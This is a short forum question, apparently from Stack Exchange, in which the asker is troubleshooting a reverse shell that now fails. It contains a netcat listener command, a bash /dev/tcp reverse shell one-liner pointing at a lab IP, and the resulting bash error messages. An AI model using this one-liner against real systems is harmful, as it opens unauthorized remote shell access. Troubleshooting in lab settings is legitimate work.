Im trying to create a 'reverse shell' using a bash oneliner and a netcat listener. This combination worked great a few days ago however now it only gives errors when connection. Does anyone know what the error means and how I can troubleshoot or fix it?
netcat -lvnp 1234
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
Error (when running the bash script)
bash: cannot set terminal process group (21268): Inappropriate ioctl for device bash: no job control in this shell bash: 0: No such file or directory
Not sure if this is the right stackexchange for this question, feel free to move